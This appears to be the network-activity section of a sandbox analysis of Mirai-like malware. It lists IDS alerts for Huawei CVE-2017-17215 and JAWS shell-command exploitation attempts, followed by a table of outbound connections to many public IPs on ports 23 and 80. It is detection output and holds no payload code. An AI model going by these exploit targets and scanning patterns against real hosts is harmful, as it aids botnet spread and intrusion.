                                                          2024-12-03T23:17:42.144735+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2360582156.238.44.12337215TCP
                                                          2024-12-03T23:17:42.144867+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352176197.100.92.13537215TCP
                                                          2024-12-03T23:17:42.145027+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355348197.50.232.14037215TCP
                                                          2024-12-03T23:17:42.145708+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2342656156.121.75.2837215TCP
                                                          2024-12-03T23:17:42.145781+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.235353041.67.123.9137215TCP
                                                          2024-12-03T23:17:42.145912+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233769841.174.159.3337215TCP
                                                          2024-12-03T23:17:42.146106+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353342156.139.241.18237215TCP
                                                          2024-12-03T23:17:42.146288+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352322197.203.142.11037215TCP
                                                          2024-12-03T23:17:42.146515+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343720156.140.47.14137215TCP
                                                          2024-12-03T23:17:42.326060+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341014197.120.50.9637215TCP
                                                          2024-12-03T23:17:42.357132+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2354878197.185.175.15337215TCP
                                                          2024-12-03T23:17:42.373231+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352656156.150.60.22437215TCP
                                                          2024-12-03T23:17:42.386429+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2357218108.138.108.480TCP
                                                          2024-12-03T23:17:42.386429+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2357218108.138.108.480TCP
                                                          2024-12-03T23:17:42.397734+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2351718156.233.166.24837215TCP
                                                          2024-12-03T23:17:42.413555+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344188156.208.20.13737215TCP
                                                          2024-12-03T23:17:42.544735+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2340368179.17.44.14180TCP
                                                          2024-12-03T23:17:42.544735+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2340368179.17.44.14180TCP
                                                          2024-12-03T23:17:42.591600+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233657227.214.211.17780TCP
                                                          2024-12-03T23:17:42.591600+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233657227.214.211.17780TCP
                                                          2024-12-03T23:17:42.591678+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349298177.233.208.12380TCP
                                                          2024-12-03T23:17:42.591678+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349298177.233.208.12380TCP
                                                          2024-12-03T23:17:42.600874+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233528032.243.68.24580TCP
                                                          2024-12-03T23:17:42.600874+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233528032.243.68.24580TCP
                                                          2024-12-03T23:17:42.601085+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2349870176.59.98.16780TCP
                                                          2024-12-03T23:17:42.601085+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2349870176.59.98.16780TCP
                                                          2024-12-03T23:17:42.632024+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2348776120.161.206.6580TCP
                                                          2024-12-03T23:17:42.632024+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2348776120.161.206.6580TCP
                                                          2024-12-03T23:17:42.716565+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234302275.201.55.22580TCP
                                                          2024-12-03T23:17:42.716565+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234302275.201.55.22580TCP
                                                          2024-12-03T23:17:42.725808+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235210086.57.5.11880TCP
                                                          2024-12-03T23:17:42.725808+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235210086.57.5.11880TCP
                                                          2024-12-03T23:17:42.726015+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352288169.111.117.11880TCP
                                                          2024-12-03T23:17:42.726015+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352288169.111.117.11880TCP
                                                          2024-12-03T23:17:42.747855+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234053462.46.104.11680TCP
                                                          2024-12-03T23:17:42.747855+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234053462.46.104.11680TCP
                                                          2024-12-03T23:17:42.748177+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336034180.31.104.2080TCP
                                                          2024-12-03T23:17:42.748177+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336034180.31.104.2080TCP
                                                          2024-12-03T23:17:42.757096+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233864461.145.237.2780TCP
                                                          2024-12-03T23:17:42.757096+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233864461.145.237.2780TCP
                                                          2024-12-03T23:17:42.757191+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337084141.0.13.7780TCP
                                                          2024-12-03T23:17:42.757191+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337084141.0.13.7780TCP
                                                          2024-12-03T23:17:42.772875+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360114113.229.229.6580TCP
                                                          2024-12-03T23:17:42.772875+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360114113.229.229.6580TCP
                                                          2024-12-03T23:17:43.476134+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2345282176.218.66.4380TCP
                                                          2024-12-03T23:17:43.476134+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2345282176.218.66.4380TCP
                                                          2024-12-03T23:17:43.544916+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234781499.142.16.5780TCP
                                                          2024-12-03T23:17:43.544916+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234781499.142.16.5780TCP
                                                          2024-12-03T23:17:43.544926+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2338098118.12.236.10080TCP
                                                          2024-12-03T23:17:43.544926+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2338098118.12.236.10080TCP
                                                          2024-12-03T23:17:43.545026+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2347282162.211.28.3580TCP
                                                          2024-12-03T23:17:43.545026+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2347282162.211.28.3580TCP
                                                          2024-12-03T23:17:43.545163+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344474181.255.226.19780TCP
                                                          2024-12-03T23:17:43.545163+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344474181.255.226.19780TCP
                                                          2024-12-03T23:17:43.545266+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2352494104.228.210.2480TCP
                                                          2024-12-03T23:17:43.545266+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2352494104.228.210.2480TCP
                                                          2024-12-03T23:17:43.545506+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359778160.84.155.17380TCP
                                                          2024-12-03T23:17:43.545506+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359778160.84.155.17380TCP
                                                          2024-12-03T23:17:43.545547+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2344928103.200.37.2480TCP
                                                          2024-12-03T23:17:43.545547+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2344928103.200.37.2480TCP
                                                          2024-12-03T23:17:43.545570+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2333356195.84.210.15980TCP
                                                          2024-12-03T23:17:43.545570+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2333356195.84.210.15980TCP
                                                          2024-12-03T23:17:43.553926+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235450264.247.99.8780TCP
                                                          2024-12-03T23:17:43.553926+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235450264.247.99.8780TCP
                                                          2024-12-03T23:17:43.569661+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2360034156.50.81.11080TCP
                                                          2024-12-03T23:17:43.569661+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2360034156.50.81.11080TCP
                                                          2024-12-03T23:17:43.591538+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2336204156.223.47.2637215TCP
                                                          2024-12-03T23:17:43.600779+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2346022196.207.212.980TCP
                                                          2024-12-03T23:17:43.600779+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2346022196.207.212.980TCP
                                                          2024-12-03T23:17:43.600944+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233372024.24.67.17780TCP
                                                          2024-12-03T23:17:43.600944+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233372024.24.67.17780TCP
                                                          2024-12-03T23:17:43.600975+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2337706183.99.184.14280TCP
                                                          2024-12-03T23:17:43.600975+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2337706183.99.184.14280TCP
                                                          2024-12-03T23:17:43.607094+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2343966197.151.4.14837215TCP
                                                          2024-12-03T23:17:43.632176+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2339776156.114.233.2537215TCP
                                                          2024-12-03T23:17:43.647496+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2341304197.149.65.7037215TCP
                                                          2024-12-03T23:17:43.663342+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2338806197.140.165.11737215TCP
                                                          2024-12-03T23:17:44.654189+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2355062197.32.95.2037215TCP
                                                          2024-12-03T23:17:44.654425+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2349142197.12.154.19337215TCP
                                                          2024-12-03T23:17:44.654425+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233693441.210.39.2837215TCP
                                                          2024-12-03T23:17:44.679238+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2333938156.249.39.6637215TCP
                                                          2024-12-03T23:17:44.710156+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234308441.158.219.22037215TCP
                                                          2024-12-03T23:17:44.725942+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234840241.177.105.14137215TCP
                                                          2024-12-03T23:17:44.725942+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2353238197.137.224.12737215TCP
                                                          2024-12-03T23:17:44.826356+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2359810109.122.15.20580TCP
                                                          2024-12-03T23:17:44.826356+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2359810109.122.15.20580TCP
                                                          2024-12-03T23:17:44.826631+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2356896175.250.210.2580TCP
                                                          2024-12-03T23:17:44.826631+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2356896175.250.210.2580TCP
                                                          2024-12-03T23:17:44.841981+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235145685.181.130.22880TCP
                                                          2024-12-03T23:17:44.841981+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235145685.181.130.22880TCP
                                                          2024-12-03T23:17:44.842842+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2351540119.10.235.480TCP
                                                          2024-12-03T23:17:44.842842+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2351540119.10.235.480TCP
                                                          2024-12-03T23:17:44.857228+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235806036.138.245.12580TCP
                                                          2024-12-03T23:17:44.857228+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235806036.138.245.12580TCP
                                                          2024-12-03T23:17:44.882634+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2343940123.188.152.4480TCP
                                                          2024-12-03T23:17:44.882634+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2343940123.188.152.4480TCP
                                                          2024-12-03T23:17:44.882843+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.234180497.183.114.3880TCP
                                                          2024-12-03T23:17:44.882843+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.234180497.183.114.3880TCP
                                                          2024-12-03T23:17:45.076225+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2336376153.10.180.380TCP
                                                          2024-12-03T23:17:45.076225+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2336376153.10.180.380TCP
                                                          2024-12-03T23:17:45.100957+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2341258146.32.250.19280TCP
                                                          2024-12-03T23:17:45.100957+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2341258146.32.250.19280TCP
                                                          2024-12-03T23:17:45.142141+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.235320437.144.233.9080TCP
                                                          2024-12-03T23:17:45.142141+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.235320437.144.233.9080TCP
                                                          2024-12-03T23:17:45.147457+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.23420582.26.191.5380TCP
                                                          2024-12-03T23:17:45.147457+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.23420582.26.191.5380TCP
                                                          2024-12-03T23:17:45.147596+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.233281240.183.93.13680TCP
                                                          2024-12-03T23:17:45.147596+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.233281240.183.93.13680TCP
                                                          2024-12-03T23:17:45.163518+01002029034ET MALWARE Mirai Variant User-Agent (Outbound)1192.168.2.2353474210.104.45.4080TCP
                                                          2024-12-03T23:17:45.163518+01002030092ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution1192.168.2.2353474210.104.45.4080TCP
                                                          2024-12-03T23:17:45.357389+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233582441.126.88.3737215TCP
                                                          2024-12-03T23:17:45.382213+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2334580156.84.84.12737215TCP
                                                          2024-12-03T23:17:45.397825+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.233872641.87.139.7037215TCP
                                                          2024-12-03T23:17:45.397852+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352956156.77.235.4137215TCP
                                                          2024-12-03T23:17:45.397931+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.234743641.223.243.12037215TCP
                                                          2024-12-03T23:17:45.413569+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2352200197.211.132.4037215TCP
                                                          2024-12-03T23:17:45.429301+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2335286197.104.178.19737215TCP
                                                          2024-12-03T23:17:45.429303+01002835222ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)1192.168.2.2344240197.32.0.22437215TCP
                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Dec 3, 2024 23:16:42.374583960 CET4060223192.168.2.2378.106.155.116
                                                          Dec 3, 2024 23:16:42.374660015 CET4060223192.168.2.2314.77.40.180
                                                          Dec 3, 2024 23:16:42.374660969 CET4060223192.168.2.2385.55.128.116
                                                          Dec 3, 2024 23:16:42.374665022 CET4060223192.168.2.2319.194.182.114
                                                          Dec 3, 2024 23:16:42.374702930 CET4060223192.168.2.23136.163.161.166
                                                          Dec 3, 2024 23:16:42.374706030 CET4060223192.168.2.2343.116.213.117
                                                          Dec 3, 2024 23:16:42.374706984 CET4060223192.168.2.23115.251.138.255
                                                          Dec 3, 2024 23:16:42.374721050 CET4060223192.168.2.2386.98.166.227
                                                          Dec 3, 2024 23:16:42.374721050 CET4060223192.168.2.2380.218.36.21
                                                          Dec 3, 2024 23:16:42.374727964 CET4060223192.168.2.23186.36.16.153
                                                          Dec 3, 2024 23:16:42.375489950 CET4059680192.168.2.2362.26.155.116
                                                          Dec 3, 2024 23:16:42.375536919 CET4059680192.168.2.2385.71.128.116
                                                          Dec 3, 2024 23:16:42.375547886 CET4059680192.168.2.23219.8.229.7
                                                          Dec 3, 2024 23:16:42.375550985 CET4059680192.168.2.2364.230.57.252
                                                          Dec 3, 2024 23:16:42.375552893 CET4059680192.168.2.23146.224.75.232
                                                          Dec 3, 2024 23:16:42.375561953 CET4059680192.168.2.2370.157.117.190
                                                          Dec 3, 2024 23:16:42.375571012 CET4059680192.168.2.2399.220.28.87
                                                          Dec 3, 2024 23:16:42.375571966 CET4059680192.168.2.23189.85.67.233
                                                          Dec 3, 2024 23:16:42.375581026 CET4059680192.168.2.23137.131.15.67
                                                          Dec 3, 2024 23:16:42.375581026 CET4059680192.168.2.2371.51.255.243
                                                          Dec 3, 2024 23:16:42.375581980 CET4059680192.168.2.2313.9.24.54
                                                          Dec 3, 2024 23:16:42.375593901 CET4059680192.168.2.23120.1.48.228
                                                          Dec 3, 2024 23:16:42.375597000 CET4059680192.168.2.2353.141.70.168
                                                          Dec 3, 2024 23:16:42.375602007 CET4059680192.168.2.23107.7.206.29
                                                          Dec 3, 2024 23:16:42.375606060 CET4059680192.168.2.23175.29.66.226
                                                          Dec 3, 2024 23:16:42.375606060 CET4059680192.168.2.23188.248.208.136
                                                          Dec 3, 2024 23:16:42.375623941 CET4059680192.168.2.23210.85.95.252
                                                          Dec 3, 2024 23:16:42.375623941 CET4059680192.168.2.23189.186.226.168
                                                          Dec 3, 2024 23:16:42.375624895 CET4059680192.168.2.23223.14.73.140
                                                          Dec 3, 2024 23:16:42.375624895 CET4059680192.168.2.23173.29.208.225
                                                          Dec 3, 2024 23:16:42.375637054 CET4059680192.168.2.23165.199.249.64
                                                          Dec 3, 2024 23:16:42.375639915 CET4059680192.168.2.23134.228.25.219
                                                          Dec 3, 2024 23:16:42.375642061 CET4059680192.168.2.2344.220.246.255
                                                          Dec 3, 2024 23:16:42.375643015 CET4059680192.168.2.2312.195.145.91
                                                          Dec 3, 2024 23:16:42.375652075 CET4059680192.168.2.23116.66.62.89
                                                          Dec 3, 2024 23:16:42.375663042 CET4059680192.168.2.2391.101.46.36
                                                          Dec 3, 2024 23:16:42.375669956 CET4059680192.168.2.23213.53.91.127
                                                          Dec 3, 2024 23:16:42.375672102 CET4059680192.168.2.2327.253.151.75
                                                          Dec 3, 2024 23:16:42.375672102 CET4059680192.168.2.2325.227.229.232
                                                          Dec 3, 2024 23:16:42.375672102 CET4059680192.168.2.23160.43.173.212
                                                          Dec 3, 2024 23:16:42.375672102 CET4059680192.168.2.2339.88.8.230
                                                          Dec 3, 2024 23:16:42.375678062 CET4059680192.168.2.23207.189.99.50
                                                          Dec 3, 2024 23:16:42.375690937 CET4059680192.168.2.2319.115.216.35
                                                          Dec 3, 2024 23:16:42.375693083 CET4059680192.168.2.2374.200.21.240
                                                          Dec 3, 2024 23:16:42.375698090 CET4059680192.168.2.2365.26.117.90
                                                          Dec 3, 2024 23:16:42.375715971 CET4059680192.168.2.2314.15.255.58
                                                          Dec 3, 2024 23:16:42.375715971 CET4059680192.168.2.232.254.234.19
                                                          Dec 3, 2024 23:16:42.375719070 CET4059680192.168.2.23213.166.199.51
                                                          Dec 3, 2024 23:16:42.375725031 CET4059680192.168.2.2391.50.134.108
                                                          Dec 3, 2024 23:16:42.375734091 CET4059680192.168.2.23152.183.28.129
                                                          Dec 3, 2024 23:16:42.375735998 CET4059680192.168.2.23178.187.197.167
                                                          Dec 3, 2024 23:16:42.375747919 CET4059680192.168.2.23186.76.94.147
                                                          Dec 3, 2024 23:16:42.375749111 CET4059680192.168.2.23132.250.192.209
                                                          Dec 3, 2024 23:16:42.375752926 CET4059680192.168.2.2334.51.235.203
                                                          Dec 3, 2024 23:16:42.375756025 CET4059680192.168.2.2382.11.139.4
                                                          Dec 3, 2024 23:16:42.375756979 CET4059680192.168.2.23170.168.241.248
                                                          Dec 3, 2024 23:16:42.375762939 CET4059680192.168.2.23128.121.128.130
                                                          Dec 3, 2024 23:16:42.375762939 CET4059680192.168.2.2345.35.18.18
                                                          Dec 3, 2024 23:16:42.375775099 CET4059680192.168.2.2397.97.183.158
                                                          Dec 3, 2024 23:16:42.375777006 CET4059680192.168.2.23203.33.33.36
                                                          Dec 3, 2024 23:16:42.375777006 CET4059680192.168.2.2391.133.230.254
                                                          Dec 3, 2024 23:16:42.375780106 CET4059680192.168.2.23113.74.119.205
                                                          Dec 3, 2024 23:16:42.375785112 CET4059680192.168.2.232.77.49.77
                                                          Dec 3, 2024 23:16:42.375791073 CET4059680192.168.2.23209.45.1.171
                                                          Dec 3, 2024 23:16:42.375811100 CET4059680192.168.2.2357.16.10.58
                                                          Dec 3, 2024 23:16:42.375812054 CET4059680192.168.2.2349.147.241.229
                                                          Dec 3, 2024 23:16:42.375812054 CET4059680192.168.2.2324.87.40.246
                                                          Dec 3, 2024 23:16:42.375816107 CET4059680192.168.2.2349.56.22.210
                                                          Dec 3, 2024 23:16:42.375818968 CET4059680192.168.2.23123.188.129.148
                                                          Dec 3, 2024 23:16:42.375822067 CET4059680192.168.2.2351.74.92.84
                                                          Dec 3, 2024 23:16:42.375839949 CET4059680192.168.2.2325.241.188.52
                                                          Dec 3, 2024 23:16:42.375842094 CET4059680192.168.2.23216.22.208.160
                                                          Dec 3, 2024 23:16:42.375844955 CET4059680192.168.2.2342.178.224.119
                                                          Dec 3, 2024 23:16:42.375845909 CET4059680192.168.2.23156.201.247.225
                                                          Dec 3, 2024 23:16:42.375845909 CET4059680192.168.2.232.47.205.137
                                                          Dec 3, 2024 23:16:42.375845909 CET4059680192.168.2.23200.162.215.12
                                                          Dec 3, 2024 23:16:42.375859976 CET4059680192.168.2.2324.246.8.64
                                                          Dec 3, 2024 23:16:42.375866890 CET4059680192.168.2.2317.119.26.68
                                                          Dec 3, 2024 23:16:42.375870943 CET4059680192.168.2.23106.8.219.42
                                                          Dec 3, 2024 23:16:42.375873089 CET4059680192.168.2.23211.85.216.116
                                                          Dec 3, 2024 23:16:42.375874996 CET4059680192.168.2.2387.131.174.143
                                                          Dec 3, 2024 23:16:42.375879049 CET4059680192.168.2.2318.156.231.43
                                                          Dec 3, 2024 23:16:42.375885010 CET4059680192.168.2.23143.240.24.22
                                                          Dec 3, 2024 23:16:42.375885963 CET4059680192.168.2.23201.25.46.165
                                                          Dec 3, 2024 23:16:42.375896931 CET4059680192.168.2.23111.104.112.34
                                                          Dec 3, 2024 23:16:42.375896931 CET4059680192.168.2.23168.79.29.181
                                                          Dec 3, 2024 23:16:42.375915051 CET4059680192.168.2.23196.88.186.12
                                                          Dec 3, 2024 23:16:42.375915051 CET4059680192.168.2.23123.21.194.224
                                                          Dec 3, 2024 23:16:42.375915051 CET4059680192.168.2.239.123.212.49
                                                          Dec 3, 2024 23:16:42.375916958 CET4059680192.168.2.23158.73.17.46
                                                          Dec 3, 2024 23:16:42.375922918 CET4059680192.168.2.2334.165.106.83
                                                          Dec 3, 2024 23:16:42.375935078 CET4059680192.168.2.232.137.42.110
                                                          Dec 3, 2024 23:16:42.375936985 CET4059680192.168.2.2337.249.110.5
                                                          Dec 3, 2024 23:16:42.375943899 CET4059680192.168.2.2379.199.152.61
                                                          Dec 3, 2024 23:16:42.375952005 CET4059680192.168.2.2363.159.102.101
                                                          Dec 3, 2024 23:16:42.375957966 CET4059680192.168.2.2318.128.49.73
                                                          Dec 3, 2024 23:16:42.375957966 CET4059680192.168.2.23105.142.23.9
                                                          Dec 3, 2024 23:16:42.375962973 CET4059680192.168.2.235.59.75.216
                                                          Dec 3, 2024 23:16:42.375962973 CET4059680192.168.2.23109.55.86.47
                                                          Dec 3, 2024 23:16:42.375967026 CET4059680192.168.2.2331.146.205.35
                                                          Dec 3, 2024 23:16:42.375976086 CET4059680192.168.2.2393.210.17.50
                                                          Dec 3, 2024 23:16:42.375976086 CET4059680192.168.2.2349.62.40.255
                                                          Dec 3, 2024 23:16:42.375979900 CET4059680192.168.2.2339.85.93.69
                                                          Dec 3, 2024 23:16:42.376000881 CET4059680192.168.2.2342.160.62.211
                                                          Dec 3, 2024 23:16:42.376000881 CET4059680192.168.2.2331.99.116.101
                                                          Dec 3, 2024 23:16:42.376003027 CET4059680192.168.2.2341.214.8.30
                                                          Dec 3, 2024 23:16:42.376003027 CET4059680192.168.2.23207.34.234.22
                                                          Dec 3, 2024 23:16:42.376022100 CET4059680192.168.2.23150.153.232.32
                                                          Dec 3, 2024 23:16:42.376023054 CET4059680192.168.2.23114.201.94.232
                                                          Dec 3, 2024 23:16:42.376023054 CET4059680192.168.2.23109.133.225.175
                                                          Dec 3, 2024 23:16:42.376023054 CET4059680192.168.2.23118.206.119.7
                                                          Dec 3, 2024 23:16:42.376035929 CET4059680192.168.2.23120.109.103.67
                                                          Dec 3, 2024 23:16:42.376036882 CET4059680192.168.2.2345.101.18.205
                                                          Dec 3, 2024 23:16:42.376039028 CET4059680192.168.2.2336.189.124.169
                                                          Dec 3, 2024 23:16:42.376049995 CET4059680192.168.2.2327.227.61.159
                                                          Dec 3, 2024 23:16:42.376059055 CET4059680192.168.2.23115.67.47.66
                                                          Dec 3, 2024 23:16:42.376059055 CET4059680192.168.2.2361.148.91.177
                                                          Dec 3, 2024 23:16:42.376060963 CET4059680192.168.2.2331.40.228.198
                                                          Dec 3, 2024 23:16:42.376075983 CET4059680192.168.2.23130.57.145.105
                                                          Dec 3, 2024 23:16:42.376079082 CET4059680192.168.2.23168.41.54.54
                                                          Dec 3, 2024 23:16:42.376085043 CET4059680192.168.2.23112.92.114.156
                                                          Dec 3, 2024 23:16:42.376095057 CET4059680192.168.2.2370.191.183.214
                                                          Dec 3, 2024 23:16:42.376099110 CET4059680192.168.2.23164.201.38.119
                                                          Dec 3, 2024 23:16:42.376101971 CET4059680192.168.2.23167.242.60.169
                                                          Dec 3, 2024 23:16:42.376107931 CET4059680192.168.2.23107.56.161.102
                                                          Dec 3, 2024 23:16:42.376144886 CET4059680192.168.2.23146.158.49.26
                                                          Dec 3, 2024 23:16:42.376146078 CET4059680192.168.2.23209.175.242.251
                                                          Dec 3, 2024 23:16:42.376146078 CET4059680192.168.2.23119.165.187.170
                                                          Dec 3, 2024 23:16:42.376146078 CET4059680192.168.2.2384.28.33.146
                                                          Dec 3, 2024 23:16:42.376146078 CET4059680192.168.2.2332.176.65.122
                                                          Dec 3, 2024 23:16:42.376161098 CET4059680192.168.2.23136.175.157.68
                                                          Dec 3, 2024 23:16:42.376161098 CET4059680192.168.2.23117.183.142.239
                                                          Dec 3, 2024 23:16:42.376161098 CET4059680192.168.2.23109.160.171.143
